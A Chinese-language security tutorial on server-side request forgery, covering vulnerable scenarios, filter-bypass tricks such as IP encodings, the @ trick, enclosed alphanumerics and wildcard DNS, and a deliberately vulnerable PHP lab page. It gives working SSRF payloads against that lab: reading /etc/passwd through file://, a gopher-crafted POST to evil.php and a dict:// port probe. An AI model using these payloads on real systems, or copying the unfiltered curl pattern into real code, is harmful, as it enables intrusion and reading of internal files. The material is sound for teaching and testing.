SSRF服务器端请求伪造

SSRF服务端请求伪造漏洞,也称为XSPA跨站端口攻击,是一种由攻击者构造一定的利用代码导致服务端发起漏洞利用请求的安全漏洞,一般情况下SSRF攻击的应用是无法通过外网访问的,所以需要借助目标服务端进行发起,目标服务器可以链接内网和外网,攻击者便可以通过目标主机攻击内网应用。

描述

SSRF是利用漏洞伪造服务器端发起请求,从而突破客户端获取不到数据限制,通常攻击者通过伪造服务器请求与内网进行交互,从而达到探测内网,对内网进行攻击的目的,通常与多种攻击方式相结合。服务器端请求伪造攻击将域中的不安全服务器作为代理使用,这与利用网页客户端的跨站请求伪造攻击类似,例如处在域中的浏览器可作为攻击者的代理。
在一些情况下由于业务需要,服务端程序需要从其他服务器应用中获取数据,例如获取图片、数据等,但是由于服务器没有对其请求的目标地址做过滤和限制,导致黑客可以利用此缺陷请求任意服务器资源,其中就包含隐匿在内网的应用。很多情况下认为服务器在内网不会受到黑客攻击,便放任漏洞不管,不做补丁修复和版本升级,弱口令遍布内网,在SSRF漏洞面前这些漏洞都会造成很大危害。SSRF漏洞一般为HTTP/HTTPS方式出现,但类似TCP Connect方式也可以探测内网的IP活跃状态和端口的开放情况,但此类危害较小。

SSRF漏洞易出现的场景

能够对外发起网络请求的地方,就可能存在SSRF漏洞。

  • 从远程服务器请求资源Upload from URL,Import & Export RSS Feed
  • 数据库内置功能Oracle、MongoDB、MSSQL、Postgres、CouchDB
  • Webmail收取其他邮箱邮件POP3、IMAP、SMTP
  • 文件处理、编码处理、属性信息处理ffmpeg、ImageMagic、DOCX、PDF、XML
  • 通过URL地址分享页面。
  • 未公开的api实现以及其他调用URL的功能。

SSRF漏洞的利用

  • 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息。
  • 攻击运行在内网或本地的应用程序,比如溢出。
  • 对内网web应用进行指纹识别,通过访问默认文件实现。
  • 攻击内外网的web应用,主要是使用GET参数就可以实现的攻击,比如Struts2sqli等。
  • 利用file协议读取本地文件等。

绕过方式

攻击本机

http://127.0.0.1:80
http://localhost:22

利用@绕过

http://example.com@127.0.0.1
# 这里的example.com可以任意替换,

利用短地址绕过

http://127.0.0.1可以变为http://suo.im/5UHEvD
# 转换地址有很多,可以采用http://tool.chinaz.com/tools/dwz.aspx

特殊域名绕过

http://127.0.0.1.xip.io/
http://www.margin.com.127.0.0.1.xip.io/

利用Enclosed alphanumerics

ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

利用句号代替点绕过

127.0.0.1 变为127。0。0。1

使用其他进制绕过

127.0.0.1
8进制格式:0177.0.0.1
16进制格式:0x7F.0.0.1
10进制整数格式:2130706433(转16进制,再转10进制)
16进制整数格式:0x7F000001
还有一种特殊的省略模式,例如127.0.0.1这个IP可以写成127.1、10.0.0.1这个IP可以写成10.1

特殊域名绕过

DNS解析
http://127.0.0.1.xip.io/
# 会解析到本地的127.0.0.1

实验靶机示例

使用PHP构建靶机作为示例,编写如下代码test.php,实际上避免这类攻击的重要原则就是过滤用户输入即永远不要相信用户的输入。

<?php
// 创建一个新curl资源
$ch = curl_init();
// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, false);
// 抓取URL并把它传递给浏览器
curl_exec($ch);
//关闭cURL资源,并且释放系统资源
curl_close($ch);

file协议的运用

在上述示例中发起一个GET请求便可以获取敏感文件的信息。

http://192.168.163.150/test.php?url=file:///etc/passwd

gopher协议的运用

gopher协议是比http协议更早出现的协议,现在已经不常用了,但是在SSRF漏洞利用中gopher可以说是万金油,因为可以使用gopher发送各种格式的请求包,这样变可以解决漏洞点不在GET参数的问题了。
基本协议格式:URL:gopher://<host>:<port>/<gopher-path>
进行如下请求可以发送一个POST请求,且参数cmd的值为balabal,这里构造gopher请求的时候,回车换行符号要进行2url编码%250d%250a

http://192.168.163.150/test.php?url=gopher://192.168.163.1:80/_POST%20/evil.php%20HTTP/1.1%250d%250aHost:%20192.168.163.1%250d%250aUser-Agent:%20curl/7.43.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd=balabala

dict协议应用

dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,但是在SSRF中如果可以使用dict协议那么就可以轻易的获取目标服务器端口上运行的服务版本等信息。

http://192.168.163.150/test.php?url=dict://192.168.163.1:3306/info

每日一题

https://github.com/WindrunnerMax/EveryDay

参考

https://zhuanlan.zhihu.com/p/116039804
https://www.freebuf.com/column/157466.html
https://juejin.cn/post/6844903824948199431
https://www.cnblogs.com/bmjoker/p/9614789.html
https://blog.csdn.net/nz9611/article/details/96011013
https://zh.wikipedia.org/wiki/%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%AB%AF%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0

SSRF服务器端请求伪造相关推荐

  1. SSRF服务器端请求伪造漏洞基础

    SSRF服务器端请求伪造漏洞基础,下面分五个专题来说 1.什么是ssrf? 2.ssrf的相关协议 3.有无回显的ssrf漏洞确认 4.ssrf如何利用? 5.ssrf漏洞的绕过 6.ssrf漏洞的加 ...

  2. ssrf 服务器端请求伪造 简介

    SSRF漏洞是如何产生的? SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF是要目标网站 ...

  3. SSRF服务器端请求伪造攻击详解

    一.SSRF概述   SSRF(Server-Side Request Forgery:服务器端请求伪造),是一种由攻击者构造请求,由服务端发起请求的安全漏洞.   其形成的原因大都是由于服务端提供了 ...

  4. Web安全——服务器端请求伪造(SSRF)

    SSRF 概述 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访 ...

  5. Web漏洞之SSRF(服务器端请求伪造)

    文章目录 一.漏洞场景 二.漏洞描述 三.漏洞原理 四.漏洞危害 五.漏洞评级 六.漏洞验证 七.漏洞利用 八.漏洞防御 一.漏洞场景 服务器会根据用户提交的URL 发送一个HTTP 请求.使用用户指 ...

  6. 【转】SSRF(Server-Side Request Forgery:服务器端请求伪造)

    原文链接:服务端请求伪造(SSRF) - Hel10 - 博客园 0x01:服务器端请求伪造的概念 ​ SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻 ...

  7. SSRF(Server-Side Request Forgery):服务器端请求伪造

    0X00 SSRF介绍 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外 ...

  8. SSRF漏洞(服务器端请求伪造)

    中间人(SSRF就是中间人)攻击,服务端请求伪造,主要攻击内网,打redis和weblogic特别厉害,目标网站的内部系统(他是从内部系统访问的,所以通过它攻击外部系统无法访问的内部系统,也就是目标网 ...

  9. 【SSRF-01】服务器端请求伪造漏洞原理及利用实例

    目录 1 基础知识 1.1 概述 1.2 原理 1.3 危害 2 SSRF漏洞利用实例 2.1 实验环境及实验前准备 2.2 SSRF漏洞的利用实例 2.2.1 正常访问 2.2.2 端口扫描-扫描内 ...

最新文章

  1. zabbix 4.0.3 use docker-compose deploy
  2. SpringMVC学习(三)——SpringMVC+Slf4j+Log4j+Logback日志集成实战分享
  3. android 线程锁Lock
  4. entitymanager_实体管理器的类型:应用程序管理的EntityManager
  5. flatten的用法
  6. RSS(Really Simple Syndication)简易信息聚合
  7. Kubernetes - - k8s - v1.12.3 Helm持久化部署Harbor集成OpenLDAP登录
  8. 接口测试质量评估标准
  9. bzoj3207花神的嘲讽计划Ⅰ
  10. 《深入理解OSGi:Equinox原理、应用与最佳实践》一2.1 OSGi规范概要
  11. 密码字典生成工具:crunch
  12. LoadRunner基础入门教程
  13. 【ENVI解决经验】裁剪后背景改为白色(透明)
  14. 本周AI热点回顾:波士顿动力机器狗去新西兰放羊了、微软WSL将支持GPU、ERNIE-GEN刷新SOTA
  15. win10专业版进不了安全模式 win10专业版安全模式怎么进
  16. 一觉醒来,欠费120万,移动程序员要被祭天了!
  17. 211大学中哪几所计算机专业好,北京哪些211大学计算机专业比较好考研
  18. 记Http connection dropped
  19. 如何向服务器远程传输文件,如何向服务器远程传输文件
  20. 安装包免费下载(持续更新ing…)

热门文章

  1. r语言集合补集_【高中数学必修1研读】之一“第一章 集合与函数概念”
  2. 30岁软件测试转产品_30岁的我脸上竟然出现皱纹了,求推荐抗衰老产品,最好是国外的...
  3. springboot+mybatis+mysql+dubbo整合使用
  4. Android 开发者的 RxJava 详解(一)
  5. 颜色模型和颜色应用---小结
  6. 常见的 HTTP 状态代码及原因
  7. new Class{}形式
  8. Delphi XE的RTTI增强,动态Hook某些内部事件
  9. Python第五天 文件访问 for循环访问文件 while循环访问文件 字符串的startswith函数和split函数 linecache模块...
  10. js获取滚动条距离浏览器顶部,底部的高度,兼容ie和firefox